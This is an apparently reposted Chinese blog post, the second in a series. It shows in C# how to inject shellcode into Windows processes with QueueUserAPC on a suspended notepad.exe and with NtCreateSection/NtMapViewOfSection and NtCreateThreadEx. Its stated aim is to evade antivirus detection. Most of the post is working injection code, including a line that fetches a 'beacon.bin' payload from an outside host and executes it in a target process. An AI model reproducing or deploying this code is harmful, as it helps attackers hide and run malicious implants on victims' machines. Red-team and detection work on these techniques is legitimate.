QueueUserAPC和NtMapViewOfSection是如何在进程中执行 shellcode的(二)
2023-5-21 12:53:39 Author: 猫哥的秋刀鱼回忆录(查看原文) 阅读量:5 收藏

0X00 前言

在实际环境中CreateRemoteThread会被诸如Windows Defender等各大杀软严格检测拦截。QueueUserAPCNtMapViewOfSection是我们可以用来在进程中执行shellcode的另外两种方式。

0x01 QueueUserAPC

对于QueueUserAPC,这里主要有两种利用方式:

1.生成处于挂起状态的进程,在主线程上对APC进行排队并继续。

2.枚举现有进程的线程,并在其中一个线程上对APC进行排队。(等待该线程进入alert状态或

强制该线程进入alert状态),而创建进程则是最为直接的方式

如前所述创建一个进程,但传递CREATE_SUSPENDED标志。如果进程无法启动,只需抛出一个异常即可。

var si = new Win32.STARTUPINFO();
si.cb = Marshal.SizeOf(si);

var pa = new Win32.SECURITY_ATTRIBUTES();
pa.nLength = Marshal.SizeOf(pa);

var ta = new Win32.SECURITY_ATTRIBUTES();
ta.nLength = Marshal.SizeOf(ta);

var pi = new Win32.PROCESS_INFORMATION();

var success = Win32.CreateProcessW(
    "C:\\Windows\\System32\\notepad.exe",
    null,
    ref ta,
    ref pa,
    false,
    0x00000004, // CREATE_SUSPENDED
    IntPtr.Zero,
    "C:\\Windows\\System32",
    ref si,
    out pi);

// 如果无法创建,抛出异常
if (!success)
    throw new Win32Exception(Marshal.GetLastWin32Error());

获取shellcode并将其写入目标进程。调用QueueUserAPC API。为它提供shellcode在内存中的位置和进程主线程的句柄。

// APC排队
Win32.QueueUserAPC(
    baseAddress, // shellcode位置
    pi.hThread,  // 进程的主线程
    0);

恢复进程

// 恢复进程
Win32.ResumeThread(pi.hThread);

0x02 NtMapViewOfSection

NtMapViewOfSectionAPI集为VirtualAllocExWriteProcessMemoryVirtualProtectEx提供了一个很好的替代方案。但是使用这些较低级别的本地API的最大挑战是它们没有正式文档,因此我们只能在ntdll.dll上进行逆向工程来努力找出它们。可以参考网上这份文档:http://undocumented.ntinternals.net/index.html

获取shellcode并在当前流程中创建一个新的section。这个section必须与shellcode一样大。

var shellcode = await client.GetByteArrayAsync("https://192.168.2.151/beacon.bin");

var hSection = IntPtr.Zero;
var maxSize = (ulong)shellcode.Length;

//在当前进程中创建新section
Native.NtCreateSection(
    ref hSection,
    0x10000000,     // SECTION_ALL_ACCESS
    IntPtr.Zero,
    ref maxSize,
    0x40,           // PAGE_EXECUTE_READWRITE
    0x08000000,     // SEC_COMMIT
    IntPtr.Zero);

将该section的view映射到当前进程的内存中。

// 将该section以RW映射到当前进程的内存中
Native.NtMapViewOfSection(
    hSection,
    (IntPtr)(-1),
    out var localBaseAddress,
    IntPtr.Zero,
    IntPtr.Zero,
    IntPtr.Zero,
    out var _,
    2,              // ViewUnmap (创建的view不会被子进程继承)
    0,
    0x04);          // PAGE_READWRITE

// 将shellcode复制到我们自己进程的内存中
Marshal.Copy(shellcode, 0, localBaseAddress, shellcode.Length);

获取目标进程的句柄并将同一section映射到其中。这将自动将shellcode从当前进程复制到目标

// 获取目标进程的reference
var target = Process.GetProcessById(4148);

//将该区域作为RX映射到目标进程中
Native.NtMapViewOfSection(
    hSection,
    target.Handle,
    out var remoteBaseAddress,
    IntPtr.Zero,
    IntPtr.Zero,
    IntPtr.Zero,
    out _,
    2,
    0,
    0x20);      // PAGE_EXECUTE_READ

创建一个新的远程线程来执行shellcode

// 执行目标进程中的shellcode
Native.NtCreateThreadEx(
    out _,
    0x001F0000, // STANDARD_RIGHTS_ALL
    IntPtr.Zero,
    target.Handle,
    remoteBaseAddress,
    IntPtr.Zero,
    false,
    0,
    0,
    0,
    IntPtr.Zero);

0x03 小结

本文继续介绍了进程注入的知识。综合两篇文章,我们可以混合和匹配它们来创建自己的注入样式。例如,我们可以生成处于挂起状态的进程,使用NtMapViewOfSectionAPI映射和复制shellcode,然后QueueUserAPC或NtQueueApcThread执行它。


文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0NjMyNDcxMg==&mid=2247499848&idx=1&sn=36045e02d40f625bad364388fec3515b&chksm=c30555cff472dcd90c802fa2a59f577d856b88f8988680aa4e714d2edff2836fabb87ebb00d2#rd
如有侵权请联系:admin#unsafe.sh